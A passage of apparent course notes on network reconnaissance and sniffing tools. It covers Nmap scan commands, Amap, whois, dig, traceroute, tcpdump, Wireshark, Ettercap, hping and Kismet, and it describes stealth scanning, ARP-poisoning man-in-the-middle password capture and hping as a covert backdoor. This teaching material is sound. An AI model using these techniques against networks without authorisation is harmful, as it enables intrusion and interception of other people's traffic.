10.0.1. Or 10.0.1.0-255	All hosts with IP addresses between 10.0.1.0 and 10.0.1.255 (e.g., a Class C network). Alternately defined by a trailing dot (omitting the last octet), explicit range, and CIDR notation.
10.0-255.0.0-255	All hosts in the combined ranges of 0–255 in the second and fourth octets of the IP address.
10.0.1,2.1-10	All hosts with 1 or 2 in the third octet and 1–10 in the fourth octet.
fe80::1%lo0 or 2a02:c0:1014::1	An IPv6 address must always be specified by its complete address; ranges are not supported. You must use the -6 option to instruct Nmap to interpret target specifications as IPv6.

Table-3. Nmap Target Specification Formats

- Nmap accepts multiple target specifications separated by spaces, as shown in the following command:

  $ nmap 10.0.1.0/24 192.168.0.0/16 1-126.0.0.1

- Uses of Nmap are as follows:
  - To Identify Hosts on the Network
  - To Scan for TCP Ports
  - To Scan for UDP Ports
  - To Scan for Protocols
  - To Determine a Service's Identity
  - To Hide the Scan
  - To detect Zombie Scan
  - To Manage Scan Speeds
  - To Identify a Target's Operating System

Some useful command in nmap are given in table 4 with its usage:

Nmap command	Example	Usage
Nmap [IP Address]	Nmap 192.168.1.1	Scan a single IP address
Nmap [host name]	Nmap server1.biz	Scan Single host by its name
Nmap –sA [IP Address]	Nmap –sA 192.168.1.1	Find out if a host is protected by a firewall
Nmap –PN [IP Address]	Nmap –PN 192.168.1.1	Scan a host when protected by the firewall
Nmap –sP [IP Address]	Nmap –sP 192.168.1.*	Scan a network and find out which servers and devices are up and running
Nmap –open [IP Address]	Nmap –open 192.168.1.1	Scan for only show open ports in host
Nmap –p [port] [IP Address]	Nmap –p 80 192.168.1.1	To scan a particular port in host
Nmap –p T:[port] [IP Address]	Nmap –p T:80 192.168.1.1	To scan a TCP port from host
Nmap –p U:[port] [IP Address]	Nmap –p U:53 192.168.1.1	To scan a UDP port from host
Nmap –sV [IP Address]	Nmap –sV 192.168.1.1	Scan for remote services version numbers for given host
Nmap –sS [IP Address]	Nmap –sS 192.168.1.1	Stealthy scan of host
Nmap –sT [IP Address]	Nmap –sT 192.168.1.1	To find out most commonly used TCP ports using TCP connection
Nmap –sU [IP Address]	Nmap –sU 192.168.1.1	Scan a host for UDP services
Nmap –sP [IP Address]	Nmap –sP 192.168.1.1	Scan a host that responded to a ping

Table-4. Different Nmap commands with example and usage

THC-Amap

- The Hacker's Choice (THC) crew has a collection of security-focused tools. One of them is a port scanner.
- THC-Amap, or amap for short, is an advanced port scanner with service identification.
- It probes open ports to determine the listening service's type and, when possible, specific version information.
- This is identical to Nmap's -sV option.
- THC-Amap is available for Unix-based systems, including Cygwin.
- Note that the web update feature has been disabled, as amap is outdated and not supported anymore.
- Amap interrogates ports with various alphanumeric and hexadecimal (i.e., binary) payloads.
- This interrogation is done after the TCP handshake has been completed.
- Amap has three modes of execution, as detailed in Table. A scan may use only one mode at a time.

Mode Option	Description
-A	**Identifies the service associated with the port. This identification is based on an analysis of responses to various triggers sent by amap.**
-B	**Reports banners. Does not perform identification or submit triggers to the service.**
-P	**Conducts a port scan. Amap performs full connect scans. Use Nmap for advanced options if you just want to discover ports.**

Table-5. THC-Amap Scan Modes

- Uses of Amap are as follows:
- To Examine Banners
  - To Map a Service
  - To Determine UDP Services
  - To Manage Scan Speed

System Tools

- A few system tools that provide single-purpose functions related to network information for a host are given here in details:

Whois

- The whois command queries any of the prime databases that track the authoritative list of domain names and IP address assignments.
- These databases are collectively called the "whois" servers because they answer the question of who is associated with an IP address or domain name.
- Whois servers are databases that are maintained by domain name authorities around the world.
- A whois database contains information like which is the location, contact information, and IP address ranges for every domain name under its authority.
- There is no guarantee that this information is accurate or up to date.

- The whois command lists information about registered domain names.
- The following example shows common output without any options defined.
- The domain names for popular web sites like Facebook (facebook.com) are often used as subdomain names by unrelated organizations.
- Notice how Facebook's domain has been used within several other domain names.

```
$ whois facebook.com
Whois Server Version 2.0
Domain names in the .com and .net domains can now be registered with many different
competing registrars. Go to http://www.internic.net for detailed information.
FACEBOOK.COM.ZZZZZ._____.COM
FACEBOOK.COM.MORE.____.COM
FACEBOOK.COM.LOVED.____.COM
FACEBOOK.COM.KNOWS.____.NET
FACEBOOK.COM
```

- The whois command looks at only one registrar at a time.
- Use the -h option to select an alternate database to query.
- The default whois server is usually whois.internic.net or whois.crsnic.net.

```
$ whois -h whois.internic.net twitter.com
```

- In the previous Facebook example, we discovered several matches that include the term FACEBOOK.COM.
- To obtain further information about each entry, we need to put an equal sign in front of our target.
- Notice that Facebook's whois server is whois.markmonitor.com.

```
$ whois =facebook.com
Whois Server Version 2.0
...
```

Domain Name: FACEBOOK.COM
Registrar: MARKMONITOR INC.
Whois Server: whois.markmonitor.com
...

- This tells us the name servers that are authoritative for the domain and when the record was last updated, but it doesn't give us information such as location or contacts.
- If we query the domain's whois server, then we'll obtain more details.
- Example:

  $ whois -h whois.markmonitor.com facebook.com
- The whois command is also able to query information for IP addresses.
- The American Registry for Internet Numbers (ARIN) database tracks this data for many addresses.
- So, we'll use the -h option to query whois.arin.net for an IP address.
- Since we're looking for an IP, we'll be running a query for a "network address space"; this is why the whois argument is n 199.59.148.10—the n indicates the query type.

  $ whois -h whois.arin.net "n 199.59.148.10"
- Following is a list of popular whois servers and their purposes.
- Chances are that if these servers don't know about your domain name or IP address, one of them will be able to tell you who does.

Server	Purpose
whois.internic.net or whois.crsnic.net	Default whois servers—launching point for many other whois queries
whois.publicinterestregistry.net	Whois authority for .org domain names
whois.markmonitor.com	Registry used by many commercial domain names
whois.networksolutions.com	Server for customers who registered their domain names with Network Solutions
whois.opensrs.net	Another popular domain name registration service
whois.nic.gov	U.S. Government whois server (for .gov)
whois.nic.mil	Military (U.S. Department of Defense) whois server (for .mil)

Table-6. Some popular whois server and their purpose

Host, Dig, and Nslookup

- Three other tools that usually come installed by default on UNIX systems are host, dig, and nslookup.

- These are the client utilities of the most popular domain name server on the Internet, BIND (Berkeley Internet Name Domain).
- These tools can be used to query Domain Name Service (DNS) servers about what they know. Primarily, DNS servers map hostnames to IP addresses and vice versa.
- However, DNS servers can also tell you other information as well, such as which host is the registered mail handler for the domain.
- You do not need to install BIND to obtain these DNS client tools; they are part of a Unix-based system's core networking commands.
- The host and nslookup tools perform the same function.
- The nslookup tool provides an interactive command-line interface, which some administrators may find preferable.
- The following example shows the information presented by each command.
- The output differs in layout, not accuracy.

```
$ nslookup www.wordpress.com
Server: 192.168.1.254
Address: 192.168.1.254#53
Non-authoritative answer:
www.wordpress.com canonical name = lb.wordpress.com.
Name: lb.wordpress.com
Address: 76.74.254.123
Name: lb.wordpress.com
Address: 66.155.9.238
...

$ host www.wordpress.com
www.wordpress.com is an alias for lb.wordpress.com.
lb.wordpress.com has address 76.74.254.123
lb.wordpress.com has address 66.155.9.238
...
```

- Here we've discovered that www.wordpress.com is an alias for lb.wordpress.com, and resolves to several different IP addresses.
- The "lb" stands for "load balancer"—a way of distributing traffic across multiple servers in order to create a more efficient network.
- The host utility can be used to obtain other types of information using the –t querytype command-line option.
- Standard query type can be:
  - Hostname to address mappings (a),
  - Name server specifications (ns),
  - Mail handler specifications (mx),
  - Address to hostname mappings (ptr),

- Start of authority entries (soa).

- Example:

  $ host -t mx wordpress.com
  wordpress.com mail is handled by 0 mail.automattic.com.
  $ host -t soa wordpress.com
  wordpress.com has SOA record ns1.wordpress.com. mmmmmm.gmail.com. 2005071858 14400 7200 604800 60

- Because most DNS servers will cache data to reduce the number of lookups and queries they have to send to other authoritative servers, the SOA record can be used to specify how long a DNS entry from that server should stay in cache before it expires.
- For example, the SOA for another site, antihackertoolkit.com, states that DNS information from its DNS server should be considered valid only for 86400 seconds (24 hours) by specifying a minimum time-to-live (TTL).
- After 24 hours, DNS servers should stop using any cached information about the domain and check the primary DNS server to see if that information has changed.
- A breakdown of the SOA fields is provided in Table.

SOA Field	Description	Example Value
serial (version)	The current version of the DNS database that contains information about this domain.	200205343
refresh period	Time in seconds for secondary name servers to check for changes on the primary server.	10800
retry refresh this often	If a secondary server fails to connect to its primary server, retry the connection after this number of seconds.	3600
expiration period	Number of seconds after which a stale record (a record which cannot be refreshed from the primary server) should be removed from the secondary server.	604800
minimum TTL	Check for refreshes on this particular domain after this number of seconds.	86400

Table 7. DNS Start of Authority Field Description

- The dig command is a network administration command-line tool for querying Domain Name System (DNS) name servers.
- With dig, you first specify the DNS host to query (indicated with the @ character), followed by the host or domain to query about, and finally the type of query.

- The query types are the same as those for host.
- The following example enumerates hostnames ("A" records) under wordpress.com.
- The amount of information has been limited by the service's configuration.

```
$ dig @ns1.wordpress.com wordpress.com a
; <<>> Dig 9.8.3-P1 <<>> @ns1.wordpress.com wordpress.com a
; (1 server found)
;; global options: +cmd
;; Got answer:
……
```

- If it's not configured securely, a DNS service might leak its version information— important for hackers looking to exploit services with known vulnerabilities.
- These client utilities will not reveal sensitive information against a well-configured service.
- However, against a poorly configured target, these tools provide a hacker not only a hostname-IP map of probably every host on the network, but also identification of a potentially vulnerable service.

Traceroute

- Traceroute traces the route (path) of an IP packet from your system (its source) to its destination
- The traceroute command starts by sending an IP packet (either ICMP or UDP) to the target, but it sets the TTL field to 1.
- Each device that a packet passes through is supposed to decrement the TTL by one.
- Consequently, the packet "expires" (stops being routed) at the first hop because the TTL has reached 0.
- The routing device informs the sender that this has happened with an ICMP message.
- Next the traceroute command sends another IP packet off to the destination, but this time the TTL field is set to 2.
- The packet expires at the second hop, at which point that routing device responds with an ICMP message.
- By continually incrementing the TTL until the packet reaches its destination, traceroute can discover which network devices exist between your host and the destination, as shown in the following example:

```
$ traceroute www.whitehouse.gov
traceroute: Warning: www.whitehouse.gov has multiple addresses; using
204.2.171.137
traceroute to a1128.dsch.akamai.net.0.1.cn.akamaitech.net
(204.2.171.137), 64 hops max, 52-byte packets
1 192.168.1.254 (192.168.1.254) 3.054 ms 3.746 ms 1.699 ms
2 bras29-l0.pltnca.sbcglobal.net (151.164.184.109) 171.973 ms
233.388 ms 264.009 ms
……
```

- The traceroute command helps diagnose certain kinds of routing problems.
- For example, it can identify the point of a network outage or find a routing loop that prevents packets from reaching their destination.
- The list of hops may also provide a hint at the geographical path and location of a target based on hostnames and whois lookups of address blocks.
- Use the -a option to print the Autonomous System (AS) number associated with each hop.
- The AS number is used by the Border Gateway Protocol (BGP) to tell peer routing networks how to handle destinations they're not aware of.
- The protocol is used by networking organizations (that you've likely never heard of) to connect Internet backbones, ISPs, and major routes between continents.
- Consequently, the AS number is a coarse location indicator if no more specific information is available for an IP address.
- The following example repeats the trace of packets to its destination, but also prints AS numbers:

  $ traceroute -a www.whitehouse.gov

  ...

  9 [AS21769] 204.2.171.137 (204.2.171.137) 34.726 ms 34.910 ms 36.415 ms
- In this case, we know it's an address based in America.

- Therefore, the following example uses the ARIN database.
- The query is looking for an AS number, so we use an indicator:

  $ whois -a "an AS21769"
- Some web sites provide free and commercial services to resolve "IP geolocation" data—the geographic location of an IP address.
- One such site, which also provides the source code it uses to resolve addresses, is http://freegeoip.net.
- Another such site is www.maxmind.com, which provides both free and commercial geolocation data.
- Here is a snippet of Traceroute output from a system to a remote server:

  $ traceroute -n 192.168.76.177

  traceroute to 192.168.76.177 (192.168.76.177), 64 hops max, 52-byte packets

  1 192.168.146.1 20.641 ms 15.853 ms 16.582 ms

  2 192.168.83.187 15.230 ms 13.237 ms 13.129 ms

  3 192.168.127.65 16.843 ms 14.968 ms 13.727 ms

  4 * * *

  5 192.168.14.85 16.915 ms 15.945 ms 15.500 ms

  6 192.168.14.138 17.495 ms 17.697 ms 16.598 ms

  7 192.168.14.38 17.476 ms 17.073 ms 14.342 ms

  8 192.168.189.194 19.130 ms 18.208 ms 18.250 ms

  9 192.168.96.162 39.989 ms 35.118 ms 36.275 ms

  10 192.168.98.19 472.009 ms 36.853 ms 35.128 ms

  11 192.168.210.126 37.135 ms 36.288 ms 35.612 ms

12 192.168.76.177 37.792 ms 36.920 ms 34.972 ms

- Notice that each probe is sent three times.
- This is indicated by the three response time columns (e.g., the first line contains 20.641 ms 15.853 ms 16.582 ms).
- Also notice that the fourth hop never responded.
- If you see the * timeout symbol on a hop but the trace continues once it gets to the next hop, chances are that the device at that hop doesn't respond with ICMP messages to indicate the packet's TTL has expired.

Network Sniffers

- Sniffers monitor and record raw data that passes through, over, or by a physical network interface.
- Network sniffer is tool that can help you locate network problems by allowing you to capture and view the packet level data on your network.
- Uses of network Sniffers:
    - Capturing packets
    - Recording and analyzing traffic
    - Decrypting packets and displaying in clear text
    - Converting data to readable format
    - Showing relevant information like IP protocol, host or server name and so on
    - Catching password, which is the main reason for most illegal uses of sniffing tool
    - Capturing special and private information of transactions like username, credit ID, account, and password.
- They operate from a core part of a system's networking stack, close to the hardware drivers that translate electrical impulses from a wired (or wireless) connection into packets.
- For example, a sniffer might tell an Ethernet interface to dump all traffic it sees rather than just watch for traffic addressed to the device's address.
- Network interfaces are supposed to have a unique identifier tied to the device's hardware.
- This identifier is the Media Access Control (MAC) address assigned to every interface.
- A device's IP address may change depending on what network it's connected to.
- For example, a laptop might have IP address 10.0.1.12 on a home network, 10.10.33.19 at a coffee shop, and 192.168.17.33 at work.
- Its MAC address remains the same across each network because the hardware hasn't changed.
- Devices use the MAC address to negotiate data link layer connections.
- These are the connections that devices use to transfer higher-level protocols like TCP/IP. In order to join a network, a device broadcasts its MAC address, indicating that it wishes to communicate with someone

Tcpdump and WinDump

- The tcpdump command is present by default on most Unix-based systems.
- It is useful in debugging networks and services.

- Tcpdump is a common packet analyzer that runs under the command line.
- It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.
- However, its potential for abuse, especially in the era of remote administration via telnet, gave tcpdump a bad reputation.
- WinDump is the tcpdump command's counterpart for Windows systems.
- Tcpdump is primarily a sniffer as opposed to a protocol analyzer.
- Its filters enable you to extract any combination of network packets, but it doesn't parse higher-level protocols like HTTP, SNMP, or DNS into more human-readable formats or annotate the traffic.
- For example, a protocol analyzer would know how to interpret the specific flags, options, and steps for an SSL connection handshake.
- The sniffer just shows the raw packets.
- Tcpdump and WinDump both use the packet capture (pcap) library, a set of packet capture routines written by the Lawrence Berkeley National Laboratory.
- The pcap routines provide the interface and functionality for OS-level packet filtering and disassembling IP packets into raw data.
- Because WinDump is simply a Windows port of tcpdump, the two commands are mostly interchangeable.
- The only difference is the name of the network interface to specify for capturing traffic.
- The tools require privileged user access to capture data.
- Make sure to execute them with sudo or "Run As Administrator" as appropriate.
- Another reason tcpdump and WinDump require privileged access is because they put the network interface into promiscuous mode in order to see all traffic across the device.
- Some network devices such as Ethernet hubs broadcast a packet to all ports on the hub (all hosts connected to the hub) in expectation that only the intended recipient will accept it.
- The other hosts receive the packet as well, but they ignore it because the packet is not intended for their MAC address.
- Tcpdump filters control what kinds of traffic the command captures.
- Filter expressions are defined with the Berkeley Packet Filter (BPF) syntax.
- Multiple filters may be combined with Boolean operators such as AND, OR, and NOT.
- The typical format of an expression is a label (representing a packet characteristic) followed by a value:

  $ tcpdump packet_characteristic value
- Type Qualifiers is a packet characteristic.
- The most typical packet qualifiers are the type labels: host, net, and port.
- For example, the following command tells tcpdump we want to see only packets to or from 192.168.1.100:

  $ tcpdump host 192.168.1.100
- If all we care about is web traffic, we can narrow the filter to the default port for HTTP:

$ tcpdump host 192.168.1.100 and port 80

- The net qualifier captures traffic destined for or originating from any host that matches the filter:
  $ tcpdump net 192.168.1.0/24 and port 80
- Remember that the net qualifier only exposes traffic visible to the sniffer's network interface.
- Specifying a network doesn't automatically make its traffic visible—only network proximity of the sniffer does.
- Common uses of Tcpdump are as follows:
  - Tcpdump prints the contents of network packets.
  - It can read packets from a network interface card or from a previously created saved packet file.
  - It can write packets to standard output or a file.
  - It is also possible to use tcpdump for the specific purpose of intercepting and displaying the communications of another user or computer.

Wireshark

- Wireshark is a free and open source packet analyzer.
- It is used for network troubleshooting, analysis, software and communication protocol development and education.
- It runs on Linux, UNIX, os x, BSD, Solaris, and Microsoft windows.
- It provides following functionality:
  - Wireshark is very similar to tcpdum, but has a graphical front-end, plus some integrated sorting and filtering options.
  - It lets the user put network interface controllers that support promiscuous mode into that mode, so they can see all traffic visible on that interface.
  - If a remote machine captures packets and sends the captured packets to a machine running Wireshark using the TZSP protocol or the protocol used by omnipeek, Wireshark dissects that packets.so it can analyze packets captured on a remote machine at the time they are captured.
  - It understands the structure of different networking protocols. It can parse and display the fields along with their meanings as specified by different protocols.
  - You can use it to review traffic captured by tools like tcpdump or WinDump or use it to capture traffic directly.
  - It also supports capture formats from several other commercial and open source network sniffers.
  - Use Wireshark to parse and examine the specific phases and packet types for protocols like SSL/TLS, SSH, SMB, and dozens more.

- Wireshark has several features. These are as follows:
    - Data can be captured from the wire from a live network connection or read from a file of already captured packets.
    - Live data can be read from a number of types of networks including Ethernet, IEEE 802.11, PPP and loopback.
    - Data display can be refined using a display filter.
    - VoIP calls in the captured traffic can be detected. If encoded in a compatible encoding, the media flow can even be played.
    - Raw USB traffic can be captured.
    - Various settings, timers, and filters can be set that ensure only triggered traffic appear.
- Note that Wireshark was previously called Ethereal; you may come across its prior name when searching for more documentation and tricks.

Ettercap

- Ettercap is a free and open source network security tool for man-in-the-middle attacks on LAN.
- It can be used for computer network protocol analysis and security auditing.
- It runs on various UNIX- like operating systems including Linux, mac os x, BSD and Solaris, and on Microsoft windows.
- It is capable of intercepting traffic on a network segment, capturing passwords and conducting active eavesdropping against a number of common protocols.
- Ettercap works by putting the network interface into promiscuous mode and by ARP poisoning the target machines.
- Thereby it can act as a 'man in the middle' and unleash various attacks on the victims.
- Ettercap supports active and passive dissection of many protocols and provides many features for network and host analysis.
- Ettercap offers four modes of operation. These are as follows:
    - IP-based: packets are filtered based on IP source and destination.
    - MAC-based: packets are filtered based on MAC address, useful for sniffing connections through a gateway.
    - ARP-based: uses ARP poisoning to sniff on a switched LAN between two hosts.
    - PublicARP-based: uses ARP poisoning to sniff on a switched LAN from a victim host to all other hosts.
- Ettercap offers following features:
    - Character injection into an established connection. Characters can be injected into a server or to a client while maintaining a live connection.
    - It supports sniffing of a password and username and even the data of an SSH1 connection.
    - It supports sniffing of HTTP SSL secured data-even when the connection is made through a proxy.
    - It supports in setting up a filter that searches for a particular string in the TCP or UDP payload and replaces it with a custom string or drops the entire packet.

- It can determine the OS of the victim host and its network adapter.
- It can kill connections of choices from the connection-list.
- It can hijack DNS requests.
- It can also find other poisoners on the LAN actively or passively.

Hping

- Hping is a free packet generator and analyzer for the TCP/IP protocol. It is one of the de facto tools for security auditing and testing of firewalls and networks.
- It was used to exploit the idle scan scanning technique and now implemented in the NMAP security scanner.
- The new version of hping, hping3, is scriptable using the tcl language and implements an engine for string based, human readable description of TCP/IP packets, so that the programmer can write scripts related to low level TCP/IP packet manipulation and analysis in very short time.
- Hping is useful to both system administrator and hackers.
- Hping also has a listen mode, enabling it to be used as an unsophisticated backdoor for covert remote access or file transfers.
- Hping's "listen" mode can be used for receiving data.
- When hping is in listen mode, it monitors traffic for a special "signature" that indicates it should capture the data to follow.
- Some uses of hping are as follows:
  - Determining a Host's Status When Ping Doesn't Work
  - Testing Firewall Rules
  - Stealth Port Scanning
  - Remote OS Fingerprinting

Kismet

- Kismet is a free software and it is network detector, packet sniffer and intrusion detection system for 802.11 wireless LANs.
- Kismet will work with any wireless card which supports raw monitoring mode and can sniff 802.11a, 802.11b, 802.11g and 802.11n traffic.
- This runs under Linux, FreeBSD, NetBSD, OpenBSD, and mac OS X, Microsoft windows.
- Kismet has three separate parts. These are as follows:
  - A drone: it can be used to collect packets and then pass them on to a server for interpretation.
  - A server: it can either be used in conjunction with a drone or on its own, interpreting packet data and extrapolating wireless information and organizing it.
  - The client: it communicates with the server and displays the information the server collects.
- Kismet has following features:
  - Kismet differs from another wireless network detector in working passively.
  - It is able to detect the presence of both wireless access and wireless client.
  - Kismet also includes basic wireless IDS features such as detecting active wireless sniffing programs including NetStumbler, as well as a number of wireless network attacks.
  - It has the ability to log all sniffed packets and save them in a tcpdump/Wireshark

compatible file format.

- Kismet can also capture “per-packet information” headers.
- It has ability to detect default or not configured networks, probe requests, and determine what level of wireless encryption is used on a given access point.
- Kismet supports channel hoping. This means that it is constantly changes from channel to channel non-sequentially, in a user defined sequence with a default value that leaves big holes between channels.
- The advantage with this method is that it will capture more packets because adjacent channels overlap.
- Kismet also supports logging of the geographical coordinates of the network if the input from a GPS receiver is additionally available.